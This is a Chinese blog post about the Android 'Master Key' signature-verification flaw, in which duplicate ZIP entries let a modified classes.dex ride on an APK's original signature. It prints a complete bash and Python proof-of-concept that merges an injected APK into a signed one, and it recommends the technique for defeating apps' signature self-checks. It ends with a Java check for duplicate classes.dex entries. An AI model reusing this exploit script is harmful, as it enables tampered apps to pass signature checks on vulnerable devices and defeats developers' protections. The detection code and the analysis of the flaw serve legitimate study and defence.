【经典漏洞分析】Android签名漏洞-1
【漏洞分析】
看雪有个帖子分析得已经很透彻了:http://bbs.pediy.com/showthread.php?t=175129
这个漏洞本质是:Android安装文件的时候,在校验包的时候,没有考虑到重复打包的情况(同名文件的存在),因此对于校验签名部分就这么过了,而执行dex时候以第一个为准,因此可以利用其原始APK包的签名然后执行我们后加的破坏代码。
【漏洞演示】
这个漏洞的利用方式,这个帖子的PoC相对靠谱:https://github.com/poliva/random-scripts/blob/master/android/masterkey-apk-inject.sh
具体代码:
#!/bin/bash # PoC for Android bug 8219321 by @pof # +info: https://jira.cyanogenmod.org/browse/CYAN-1602 if [ $# != 2 ]; then echo "Usage: $0 <platform.apk> <inject.apk>" ; exit 1 ; fi PLATFORM="$1" INJECT="$2" if [ ! -f "$PLATFORM" ]; then echo "ERROR: $PLATFORM does not exist" ; exit 1; fi if [ ! -f "$INJECT" ]; then echo "ERROR: $INJECT does not exist" ; exit 1; fi mkdir tmp cd tmp unzip ../$PLATFORM cp ../$INJECT ./out.apk cat >poc.py <<-EOF #!/usr/bin/python import zipfile import sys z = zipfile.ZipFile(sys.argv[1], "a") z.write(sys.argv[2]) z.close() EOF chmod 755 poc.py for f in `find . -type f |sed -e "s:^\./::g" |egrep -v "(poc.py|out.apk)"` ; do "D:/Program Files/adt-bundle-windows-x86-20130729/sdk/build-tools/android-4.3/aapt.exe" add -v out.apk "$f" ; if [ $? != 0 ]; then ./poc.py out.apk "$f" ; fi ; done SN=`openssl pkcs7 -inform DER -in META-INF/*.RSA -noout -print_certs -text |grep "Serial Number" |awk '{print $3}' |cut -f 1 -d "/"` CN=`openssl pkcs7 -inform DER -in META-INF/*.RSA -noout -print_certs -text |grep "Issuer:" |sed -e "s/ /\n/g" |grep "^CN=" |cut -f 1 -d "/" |sed -e "s/^CN=//g"` cp out.apk ../evil-${SN}-${CN}-${PLATFORM} cd .. rm -rf tmp echo "Modified APK: evil-${SN}-${CN}-${PLATFORM}"
红体下划线部分是我自己针对我本机上的cygwin改的,用这种方式制作出来的APK包,用WINZIP(不要用360压缩,不过我用的是Zipeg)打开效果如下:
这里之所以文件是一样的,是因为我打得这两个classes是直接复制的。
【漏洞利用】
这个漏洞其实现在虽然说被各大手机杀毒软件厂商所截杀,比如会对安装的APK进行严格校验查看其是否在ZIP格式中有重名的文件,但是还有有利用价值。
首先比如要逆向一款软件,如果对方有签名保护,甚至保护还是做到SO/BIN里面,而你又无法使用SmaliHook之类的手法进行常规破解,可以考虑下这个漏洞的利用:
选一个Android4.0的手机或者3.X的模拟器,保证测试环境可以利用这种漏洞(无安全软件,版本支持),然后把你需要的APK进行拆解并添加自己想加的代码,这样利用PYTHON打包之后,我们执行的就是你修改的dex且不涉及到更改签名以及面对复杂的签名自校验保护重打包了。
虽然这个不能用于做坏事,但是对于逆向分析来说,绝对是一个天大的漏洞,我想这种情况会长期持续一段时间的。
【解决方案】
(逆向)参考网秦安全的专杀代码,修改检查ZIP里面双classes情况:
public boolean testDupClass() { int i = 0; try { Enumeration localEnumeration = new ZipFile(getApplicationContext().getPackageCodePath()).getEntries(); while (localEnumeration.hasMoreElements()) { String pathPath = ((ZipArchiveEntry)localEnumeration.nextElement()).getName(); Log.i("[INFO]",pathPath); if (pathPath.equals("classes.dex")) { i++; if (i == 2) { Log.w("[WARNING]","dupdex"); Toast.makeText(getApplicationContext(), "Dup Classes Warning",Toast.LENGTH_SHORT).show(); return true; } } } } catch (IOException localIOException) { localIOException.printStackTrace(); }
这里得说一下,Android JAVA提供的ZipEntry是不行的,不能解析出2个ZIP的情况(或许360压缩也是这么做的),需要用org.apache.commons.compress提供的包(源码可下载)